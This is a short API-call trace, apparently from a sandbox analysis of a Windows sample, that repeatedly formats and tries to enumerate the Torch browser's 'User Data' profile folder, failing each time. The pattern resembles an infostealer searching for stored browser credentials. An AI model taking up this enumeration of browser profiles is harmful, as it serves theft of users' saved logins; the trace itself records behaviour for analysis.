[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.772] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.772] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.773] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.773] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.774] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.774] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.775] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*") returned 56
[0052.775] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Torch\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torch\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x181f68, dwReserved1=0x76f4ee30, cFileName="bEçßÜ\x15\x18", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
